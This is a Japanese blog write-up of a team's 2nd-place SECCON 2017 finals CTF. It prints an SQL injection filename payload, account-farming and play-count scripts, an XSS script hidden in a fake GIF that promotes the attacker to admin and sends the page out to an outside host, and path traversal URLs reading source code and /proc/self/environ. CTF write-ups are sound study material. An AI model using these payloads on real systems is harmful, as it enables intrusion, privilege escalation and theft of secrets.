6715.jp

2018-02-20

SECCON2017国内決勝大会に出ました

sekaisekai
CTFSECCON参加記

NaruseJunというチームでSECCON決勝に出ました。

決勝

ボクは予選に出られなかったんですが、枠を譲っていただいて憧れのSECCON決勝に出ることができました!

https://twitter.com/_n_ari/status/964678908242157569

結果

競技開始後すぐAttackPointを稼ぎ、しばらくは首位を独走していましたがその後停滞。 午後にDefencePointでジリジリを順位を上げ首位に返り咲いたものの、終了間際で追い抜かれ**2位(準優勝)**で終了しました。 文部科学大臣賞 個人賞も頂きました。

Writeup

府中

Web問? Electronで書かれた音楽系SNSで、曲をアップロードできたりするようです。

Attack

アップロードする際のファイル名もDBに記録しているようで、ここにSQLインジェクション脆弱性があります。

', 0, (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES LIMIT 0, 1)) -- .wav

のようなファイルを投げると、MariaDBが型エラーを吐き、そのエラーメッセージで内容がわかります。

いろいろ見ていたんですが、特に怪しいテーブルも存在せず、さらにDBにアクセスしているユーザがfileテーブル以外へのアクセス権を持っていないように見えました。 (挑戦していたのが終了間近で焦っていたので、違ったかもしれない……)

で、結局ここから先がわかりませんでした…… ここからuserテーブルのis_adminフラグを立てるとか、adminのパスワードを抜くとかでしょうか? わかりません。

Defence

再生数ランキング上位の曲名にディフェンスキーワードを入れられると、DefencePointがもらえます。

1アカウント辺り、1再生しかカウントされないので、ランキングを上げるにはアカウントを量産することが必要です。 適当にPOSTを投げるとアカウントが作れるので、さほど難しくないです。

再生数のカウントは、ストリーミングサーバから実際に曲ファイルを取得した際に行われていて、 ストリーミングサーバへのリクエストはTCP上の独自プロトコル?っぽいもので通信しています。 アプリが実際に使っているソースコードは、Electronパッケージから簡単に抜けるので、これを使うと簡単。

再生数を増やすNode.js向けスクリプト

var PromiseSocket = require('promise-socket');

async function getWAV(streaming_host, streaming_port, song, api_key) {
    return new Promise(async (resolve, reject) => {
        const socket = new PromiseSocket();
        await socket.connect({
            host: streaming_host,
            port: streaming_port
        });
        for(let i = 0; i < 100; i++){
            // '\x80': select song
            await socket.write("\x80");
            await socket.write(song['unique_id']);
            await socket.write(api_key);
            // '\x82': get WAV File Headers
            await socket.write("\x82");
            await socket.write("\x84\xff\xff\xff\xff\xff\xff\xff\x7f");
            await socket.write("\x81");
        }
        // '\x90': close connection
        await socket.write("\x90");
        // let result = (await socket.readAll());
        let result = (await socket.end());
        resolve(result);
    });
}


(async _ => {
    console.log(await getWAV("fuchu.koth.seccon", 8000, {unique_id: process.argv[2]}, process.argv[3]));
})();

アカウントを量産して再生数を稼ぐスクリプト

export FLAG="176872aa9e14b27d972e2c56b1ec16db"
export USERID="2099"
export APIKEY="8be67707f019fe37fb4cf74e096b815ebcebfc7fc10790d19e8d71eb32482d49"
export RESP=$(curl -X POST http://fuchu.koth.seccon/files -H "X-FUCHU-KEY: $APIKEY" -F "file=@./po.wav;type=audio/wav")
export UNIQID=$(echo $RESP | sed -E 's/[^:]+:"([^,]+)".+/\1/')
export PAYLOAD=$(printf '{"name":"%s","unique_id":"%s","artist":%s,"description":"hello"}' $FLAG $UNIQID $USERID)
curl -X POST http://fuchu.koth.seccon/songs -H "X-FUCHU-KEY: $APIKEY" -H "Content-Type: application/json" --data "$PAYLOAD"

while true
do
	export USER=$(head /dev/urandom | md5)
	export PAYLOAD=$(printf '{"username":"%s","password":"Hello I Am NaruseJun","email":"%[email protected]","sex":"0","birthday":"2018-02-15","free_text":""}' $USER $USER)
	curl -X POST http://fuchu.koth.seccon/users -H "Content-Type: application/json" --data "$PAYLOAD"
	export PAYLOAD=$(printf '{"username":"%s","password":"Hello I Am NaruseJun"}' $USER)
	export RESP=$(curl -X POST http://fuchu.koth.seccon/auth -H "Content-Type: application/json" --data "$PAYLOAD")
	export APIKEY=$(echo $RESP | sed -E 's/.+"(.+)".+/\1/')
	node increment.js $UNIQID $APIKEY
done

これらを用いると、ディフェンスキーワードをランキングに載せることができるので、 チームメイトにお願いして書き込み続けてもらいました。

船橋

提示された指紋画像と一致するような、別の指紋画像を20個の候補の中から10秒以内に選択するような問題が10題出され、 そのうちいくつかに正解できればAttackPointが手に入ります。5問以上を解くことができれば、DefencePointも手に入る様子。

教師用データセットも与えられるので、機械学習するのが正攻法? 他のチームの方に話を聞いたら、そもそも問題として出て来る画像のバリエーションが多くないので、力押しでなんとかなる……らしい。

ボクが目視でそれっぽい指紋を選んだら通りました。 競技開始直後に説いているチームがちらほらいたので、気合で解けそうだなぁという気分がしていました。

幕張

スマートロックのアプリ(x86_64 ELF)を解析する問題。解けませんでした。

後から聞いた話だと、MQTTでいろいろしていて、SubscribeするとFLAGが降ってくるとかこないとか? なんか外と通信しているんだろうなぁというのは分かったんですが、 ELFが動いて競技ネットワークと通信できるような環境を用意するのが難儀で、後回しにしていました。

梅田

画像投稿サイト。Web問。

Defence

まず、ディフェンスキーワードは最もFav数の多いベージのコメント欄なので、 もっともFav数の多いページにキーワードを書き込み続けるだけでした。

どのページが最もFav数が多いかを追いかけるのが面倒そうだなぁと感じていたんですが、 そもそもFav数を増やして対象ページをコロコロ変えるような戦略を取るチームがいなかったようで、 それほど頻繁には変わっていませんでした。 登録時にしばしば429エラーが出ていたので、アカウント量産するのが難しかったのかな?

while true
do
	export CONTENT=44b106151c01d64e0c479eb43ef12a48
	curl http://umeda.koth.seccon/photos/1 -H "Cookie: PHPSESSID=5d7ef56d0cab6e12ec27e431c004e569" > cache
	export NAME=$(cat cache | sed -E 's/.+"csrf_name" value="([^"]+)".+/\1/')
	export VALUE=$(cat cache | sed -E 's/.+"csrf_value" value="([^"]+)".+/\1/')
	curl http://umeda.koth.seccon/photos/1/comment -X POST -H "Cookie: PHPSESSID=5d7ef56d0cab6e12ec27e431c004e569" -d csrf_name=$NAME -d csrf_value=$VALUE -d content=$CONTENT
done

Attack

1つ目のFLAGは、普通にID:1の画像ページに書いてあった。

不適切な画像(?)を管理者に報告するフォームでXSSができるようでした。 ただし、Content-Security-Policy: script-src 'self'ヘッダがついているので、 画像アップロード機能を悪用して、同一オリジンに悪意のあるスクリプトを設置する必要があります。

こんな感じに、GIF8がファイル先頭にあれば、画像ファイルかどうかのチェックをすり抜けられます。

GIF8=8;

fetch("/admin/users", {credentials: 'include'})
.then(r => r.text())
.then(r => {
	const [,v] = r.match(/name="csrf_value" value="(.+?)"/);
	const [,n] = r.match(/name="csrf_name" value="(.+?)"/);
	const body = `csrf_value=${v}&csrf_name=${n}&name=azon`;
	return fetch("/admin/new-admin", {
		body,
		method: "POST",
		headers: {
			'Content-Type': 'application/x-www-form-urlencoded',
		},
		credentials: 'include',
	});
})
.then(r => r.text())
.then(r => fetch("http://192.168.14.4:8000/users", {method: "POST", body: r}))

管理者のブラウザで適当に/adminページを漁ると、 どうやら任意のユーザを管理者に昇格する機能が存在することが分かるので、↑のコードで自分のアカウントを管理者にします。 管理者でログインすると、2つ目と3つ目のFLAGがCookieに設定されていました。

で、更に管理者ページを探すと/admin/logsというアプリのログを確認する機能が存在することがわかります。 このページの挙動をよく観察すると、単にログファイルのtailを表示しているだけで、 さらにそのログファイルを指定するパラメータにパストラバーサル脆弱性があるようでした。

管理者で/admin/logs?p=/../../../../../../var/www/umeda/src/routes.phpとしてソースの末尾を見ると、 4つ目と5つ目のFLAGは環境変数に書き込まれていることが分かります。 ちなみに、ソースコードの所在は、変なパラメータを投げた時に帰ってくるエラーメッセージを読むとわかります。

環境変数は/admin/logs?p=/../../../../../../proc/self/environで読めます。